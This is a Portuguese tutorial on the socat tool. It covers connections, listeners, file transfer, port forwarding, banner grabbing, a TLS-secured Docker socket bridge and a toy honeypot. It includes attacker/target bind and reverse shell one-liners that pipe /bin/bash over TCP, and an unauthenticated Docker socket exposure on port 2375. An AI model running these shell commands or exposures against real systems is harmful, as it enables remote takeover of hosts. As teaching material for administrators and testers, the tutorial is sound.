socat
O socat (SOcket CAT) é uma ferramenta flexível de linha de comando que
permite a transferência de dados entre dois endpoints, sejam eles soquetes
TCP/UDP, portas seriais, arquivos, pipes ou até mesmo conexões criptografadas.
Ele pode ser comparado ao nc (netcat), mas oferece mais recursos e opções de
configuração.
Principais usos
- Redirecionamento de portas (TCP e UDP);
- Tunelamento de conexões, com ou sem criptografia;
- Encapsulamento de dados em SSL/TLS;
- Criação de proxies TCP simples;
- Escuta e teste de daemons de rede;
- Transferência de arquivos entre hosts;
- Exposição de shell (bind shell e reverse shell);
- Encaminhamento de conexões para processos locais, portas seriais, etc.
Conectando
Assim como o nc, o socat pode efetuar conexões TCP. Porém, a sintaxe dele é
diferente, pois precisamos especificar dois "addresses" (endereços) que ele irá
conectar ou escutar.
Conexão TCP
Para estabelecer uma conexão TCP a um destino 172.16.1.4 na porta 110, podemos utilizar:
socat STDIO TCP:172.16.1.4:110
STDIO: indica que o socat usará a entrada/saída padrão do terminal;
TCP:172.16.1.4:110: indica que iremos utilizar TCP, conectando na porta 110
do IP 172.16.1.4.
Conexão UDP
Para utilizar UDP em vez de TCP, basta trocar a especificação:
socat STDIO UDP:127.0.0.1:9000
Escutando
O socat também permite que você crie um listener, ou seja, uma porta que
ficará escutando conexões externas (semelhante ao nc -l).
Escuta TCP
Para escutar na porta 5050 em modo TCP:
socat TCP-LISTEN:5050,fork STDOUT
TCP-LISTEN:5050: indica que vamos escutar na porta 5050 usando TCP; fork: faz com que, a cada nova conexão, o processo seja duplicado (fork), permitindo aceitar múltiplas conexões sequencialmente; STDOUT: direciona a saída para a saída padrão.
Depois, no outro lado, podemos nos conectar com:
socat STDIO TCP:192.168.0.10:5050
Escuta UDP
Para escutar na porta 9000 com UDP:
socat UDP-LISTEN:9000,fork STDOUT
Transferência de Arquivos
O socat pode ser utilizado para transferir arquivos ou dados de forma semelhante
ao nc, pois ele simplesmente redireciona fluxos de dados.
Upload
No alvo (que receberá o arquivo):
touch arquivo_recebido
socat TCP-LISTEN:5050,fork OPEN:arquivo_recebido
Note que criamos o arquivo antes, mesmo que vazio, ele precisa existir.
OPEN:arquivo_recebido: faz com que tudo que chegar na porta 5050 seja
escrito diretamente no arquivo arquivo_recebido.
No atacante (que enviará o arquivo):
socat OPEN:arquivo_para_enviar TCP:172.16.2.6:5050
Download
No atacante (onde está o arquivo):
socat TCP-LISTEN:5050,fork OPEN:arquivo_para_enviar
No alvo (que vai iniciar a conexão para baixar o arquivo):
touch arquivo_recebido
socat TCP:172.16.2.5:5050 OPEN:arquivo_recebido
Encaminhando Saída de Comandos
Podemos redirecionar a saída de um comando para o socat a fim de enviar essa
saída através de uma conexão de rede.
Por exemplo, para enviar a saída de cat /etc/os-release para quem se conectar
na porta 5050:
socat TCP-LISTEN:5050,fork SYSTEM:'cat /etc/os-release'
Quando alguém se conectar usando outro socat ou nc nessa porta, receberá o
conteúdo do arquivo /etc/os-release.
Expondo Shell
Assim como no nc, é possível usar o socat para expor uma shell.
Bind Shell
Executado na máquina-alvo para abrir a porta 5050 e expor /bin/bash:
socat TCP-LISTEN:5050,fork EXEC:/bin/bash
EXEC:/bin/bash: executa o comando /bin/bash e redireciona o I/O (Input/Output).
Depois, no atacante, basta conectar:
socat STDIO TCP:192.168.0.10:5050
Reverse Shell
Executado na máquina-alvo, que fará a conexão ativa de volta para 192.168.0.100 na porta 5050, expondo /bin/bash:
socat TCP:192.168.0.100:5050 EXEC:/bin/bash
No atacante, precisamos escutar:
socat TCP-LISTEN:5050,fork STDOUT
Encapsulando em SSL/TLS
Um dos maiores diferenciais do socat em relação ao nc é a capacidade de
estabelecer conexões criptografadas usando SSL/TLS de maneira nativa.
Exemplo de Conexão Criptografada
Servidor escutando em TLS:
socat OPENSSL-LISTEN:443,cert=server.crt,key=server.key,verify=0,fork STDOUT
Cliente conectando-se ao servidor via TLS:
socat STDIO OPENSSL:meuservidor.com:443,verify=0
Dica: A opção verify=0 desabilita a verificação do certificado, o que pode
ser útil em testes ou ambientes de laboratório. Em produção, deve-se usar
verificação adequada.
Encaminhando Portas (Port Forwarding)
Com o socat, é simples criar um túnel redirecionando a porta local para outra
porta/host.
Por exemplo, se queremos que conexões na porta 8080 do host local sejam
encaminhadas para 192.168.1.100:80, podemos usar:
socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80
Qualquer conexão na porta local 8080 será então encaminhada para a porta 80 do endereço 192.168.1.100.
Escaneando Portas
O socat não é a melhor ferramenta para varredura de portas (como o nc ou o
nmap), mas pode ser usado em scripts e one-liners para verificar a
disponibilidade de um determinado serviço.
Para testar se a porta 22 de um host está aberta, podemos observar o retorno:
socat - TCP:172.16.1.5:22
Caso a conexão seja estabelecida, o socat aguardará dados (ou fechará se não
houver resposta). Se a porta estiver fechada ou filtrada, a conexão falhará e o
socat retornará erro.
Para varreduras mais elaboradas, nc, ncat ou nmap são mais adequados.
Banner Grabbing
Também podemos fazer o "banner grabbing" de um serviço, enviando comandos e analisando as respostas diretamente no terminal.
HTTP
printf 'HEAD / HTTP/1.0\n\n' | \
socat STDIO TCP:www.alvo.com:80
Ao digitar o comando HEAD / HTTP/1.0 e pressionar Enter duas vezes (no comando
acima represantado pelo \n\n), veremos o banner de resposta do servidor HTTP.
FTP
socat STDIO TCP:192.168.1.100:21
USER anonymous
PASS anonymous
Expondo Unix Sock
Você pode usar o comando socat para expor o socket do Docker via TCP, tanto
com quanto sem SSL/TLS. O socat é uma ferramenta flexível que permite
redirecionar conexões entre diferentes tipos de sockets.
Expor o Socket sem SSL/TLS
Execute o seguinte comando para expor o socket do Docker em um endpoint TCP:
socat TCP-LISTEN:2375,reuseaddr,fork UNIX-CONNECT:/var/run/docker.sock
TCP-LISTEN:2375: Escuta conexões TCP na porta 2375. reuseaddr: Permite reutilizar o endereço. fork: Cria um novo processo para cada conexão. UNIX-CONNECT:/var/run/docker.sock: Conecta ao socket UNIX do Docker.
No cliente, você pode testar a conexão ao socket exposto com o Docker CLI:
docker -H tcp://<host>:2375 ps
Expor o Socket com SSL/TLS
Abaixo segue um passo a passo detalhado de como expor o socket Unix do Docker através do socat com suporte a TLS, utilizando certificados autoassinados. Também será demonstrada a forma de geração de certificados tanto do lado do servidor (onde roda o socat) quanto do lado do cliente (Docker CLI), de modo que a conexão possa ser verificada e segura.
1. Visão Geral do Fluxo
- Docker Daemon expõe seu socket Unix localmente em
/var/run/docker.sock. - socat escuta em uma porta TCP (por exemplo,
2376), utilizando um certificado server assinado por uma CA (Certification Authority), e faz a ponte para o/var/run/docker.sock. - O Docker CLI (cliente) precisa de um certificado client, assinado pela mesma CA, para que a conexão TLS seja estabelecida e verificada com sucesso.
- Ambos os lados (cliente e servidor) utilizam a mesma CA e precisam das chaves e certificados adequados.
2. Geração de Certificados Autoassinados
Para que tenhamos um canal TLS confiável, vamos criar nossa própria CA (autoridade certificadora), depois gerar certificados de servidor e cliente assinados por essa CA.
3. Estrutura de Pastas
Para organizar melhor, crie uma pasta para os certificados e entre nela:
mkdir ~/docker-certs
cd ~/docker-certs
4. Criar uma Autoridade Certificadora (CA)
Gerar chave privada da CA:
openssl genrsa -aes256 -out ca-key.pem 4096
Será solicitada uma senha para proteger a chave da CA. Guarde essa senha em local seguro.
Gerar certificado raiz (self-signed) para a CA:
openssl req -new -x509 -days 3650 -key ca-key.pem -sha256 -out ca.pem
-days 3650 significa que o certificado terá validade de 10 anos (ajuste
conforme necessário).
Na parte interativa, você pode preencher os campos como quiser, mas atente-se
especialmente ao campo Common Name, pois é uma boa prática colocar algo que
identifique que este certificado é a CA, por exemplo: MyDockerCA.
Agora você terá dois arquivos importantes na pasta:
ca-key.pem(chave privada da CA)ca.pem(certificado público da CA)
5. Gerar o Certificado do Servidor (para o socat)
O servidor precisará de um certificado que será usado pelo socat. Ele será assinado pela nossa CA recém-criada.
Gerar chave privada do servidor:
openssl genrsa -out server-key.pem 4096
É preciso criar o certificado de servidor com o campo SAN adequado para o host
ao qual você se conecta. A forma mais simples é utilizando um arquivo de
configuração para o openssl. Veja um modelo de arquivo de configuração:
[ req ]
default_bits = 4096
distinguished_name = req_distinguished_name
req_extensions = req_ext
prompt = no
[ req_distinguished_name ]
C = BR
ST = Sao Paulo
L = Sao Paulo
O = MinhaEmpresa
CN = my-docker-server
[ req_ext ]
subjectAltName = @alt_names
[ alt_names ]
DNS.1 = my-docker-server
DNS.2 = localhost
IP.1 = 127.0.0.1
Gerar uma CSR (Certificate Signing Request) usando o arquivo de configuração:
openssl req -new -key server-key.pem -out server.csr -config server.cnf
Assinar o certificado do servidor com a CA:
openssl x509 -req -days 3650 -in server.csr -CA ca.pem -CAkey ca-key.pem \
-CAcreateserial -out server-cert.pem -sha256
Isso vai gerar o server-cert.pem assinado pela CA.
Será solicitada a senha da CA (caso você tenha usado -aes256 no passo anterior).
(Opcional) Remover frase de senha (passphrase) da chave do servidor para evitar interações:
openssl rsa -in server-key.pem -out server-key.pem
Somente se você quiser que o socat não peça senha sempre que iniciar.
Agora você tem os seguintes arquivos referentes ao servidor (socat):
server-key.pem(chave privada do servidor)server-cert.pem(certificado do servidor, assinado pela CA)server.csr(a CSR, não será necessária mais após a assinatura)ca.pem(certificado público da CA)
6. Gerar o Certificado do Cliente (para o Docker CLI)
O lado cliente também precisa ter um certificado para que o servidor possa verificar a identidade dele via TLS mútua (mTLS). É praticamente o mesmo procedimento:
Gerar chave privada do cliente:
openssl genrsa -out key.pem 4096
Gerar CSR do cliente:
openssl req -subj "/CN=my-docker-client" -new -key key.pem -out client.csr
Assinar o certificado do cliente usando a CA:
openssl x509 -req -days 3650 -in client.csr -CA ca.pem -CAkey ca-key.pem \
-CAcreateserial -out cert.pem -sha256
(Opcional) Remover a frase de senha da chave do cliente:
openssl rsa -in key.pem -out key.pem
Arquivos importantes do lado do cliente:
key.pem(chave privada do cliente)cert.pem(certificado do cliente, assinado pela CA)ca.pem(certificado público da CA) – é o mesmo arquivoca.pemque assinou tudo.
O cliente também precisará de uma cópia do ca.pem para verificar a
autenticidade do servidor.
7. Executar o socat com TLS
Agora que você tem os certificados do lado servidor, pode executar o socat:
socat \
OPENSSL-LISTEN:2376,fork,reuseaddr,\
cert=server-cert.pem,key=server-key.pem,cafile=ca.pem,verify=1 \
unix-connect:/var/run/docker.sock
- OPENSSL-LISTEN:2376: socat vai escutar na porta 2376 (padrão de TLS para Docker remoto).
- fork: permite que socat aceite múltiplas conexões simultâneas, criando processos filhos.
- reuseaddr: permite reuso imediato da porta em caso de restart.
- cert=server-cert.pem: caminho do certificado do servidor.
- key=server-key.pem: caminho da chave privada do servidor.
- cafile=ca.pem: arquivo da CA para verificar o certificado de quem conecta.
- verify=1: exige que os clientes apresentem certificado válido (mTLS).
- unix-connect:/var/run/docker.sock: conecta localmente ao socket do Docker.
Dica: Se o Docker estiver rodando em /var/run/docker.sock, verifique as
permissões do arquivo e se você tem permissões adequadas para acessá-lo.
8. Configurar o Docker CLI (Cliente) para usar TLS
No lado do cliente, precisamos:
Copiar (ou ter disponível):
ca.pem(CA)cert.pem(certificado do cliente)key.pem(chave privada do cliente)
Definir variáveis de ambiente para o Docker CLI:
export DOCKER_HOST=tcp://<IP_DO_SERVIDOR>:2376
export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=/caminho/para/o/diretorio/dos/certs
<IP_DO_SERVIDOR>é o IP ou hostname onde o socat está escutando (pode ser127.0.0.1se for local).DOCKER_CERT_PATHdeve apontar para o diretório que contémca.pem,cert.pemekey.pem.
Testar a conexão:
docker info
ou
docker ps
Outra opção sem a necessidade de exportar as variáveis de ambiente:
docker --tlsverify \
--tlscacert=ca.pem \
--tlscert=cert.pem \
--tlskey=key.pem \
-H=tcp://localhost:2376 \
ps
Caso esteja tudo configurado corretamente, o Docker CLI vai se conectar ao socat via TLS, o socat vai se conectar ao socket Unix local do Docker, e você deverá ver as informações dos contêineres ou do daemon Docker.
9. Considerações de Segurança
- Sempre proteja as chaves privadas (
ca-key.pem,server-key.pemekey.pem) com permissões de arquivo corretas. - Idealmente, utilize Subject Alternative Names (SAN) para evitar warning de
"Common Name mismatch", especialmente se não for usar
localhost. - Em produção, ou em ambiente de rede mais ampla, considere usar certificados de uma CA confiável ou um serviço interno de PKI, ao invés de autoassinados.
10. Resumo
- Gere a CA (chave e certificado raiz).
- Gere o certificado e a chave do servidor (assine com a CA).
- Gere o certificado e a chave do cliente (assine com a CA).
- Inicie o
socatcomOPENSSL-LISTENna porta desejada, apontando para os certificados do servidor e exigindo (verify=1) um certificado válido do cliente. - Configure o cliente Docker com variáveis de ambiente apontando para a porta e habilitando TLS, além de fornecer os certificados para autenticação mútua.
Assim, você terá um túnel TLS entre o Docker CLI (cliente) e o Docker Daemon (servidor, via socket Unix), garantindo confidencialidade e autenticidade de ambas as partes.
Honeypot Simples
O socat pode ser usado de forma rudimentar para montar um honeypot, embora existam soluções mais completas voltadas a isso. Um exemplo seria apenas enviar um banner falso e registrar as entradas:
cat << EOF > fake_ftp_banner.txt
220 ProFTPD 1.3.4a Server (Ubuntu)
EOF
while true; do
socat TCP-LISTEN:21,fork SYSTEM:'cat fake_ftp_banner.txt' |& tee -a ftp.log
echo "$(date)" >> ftp.log
done
Esse script simples escutará na porta 21 e, ao receber uma conexão, enviará o
conteúdo do fake_ftp_banner.txt. O tee registrará tudo no arquivo ftp.log.
Conclusão
O socat é uma ferramenta poderosa, que vai além do nc em muitos aspectos,
principalmente devido ao suporte avançado a SSL/TLS, suporte a portas seriais,
fork, e diversas outras opções de endereçamento. Para quem precisa de conexões
mais versáteis e seguras, o socat é um excelente aliado, seja para simples
testes de portas ou para a construção de túneis criptografados em ambientes de
produção.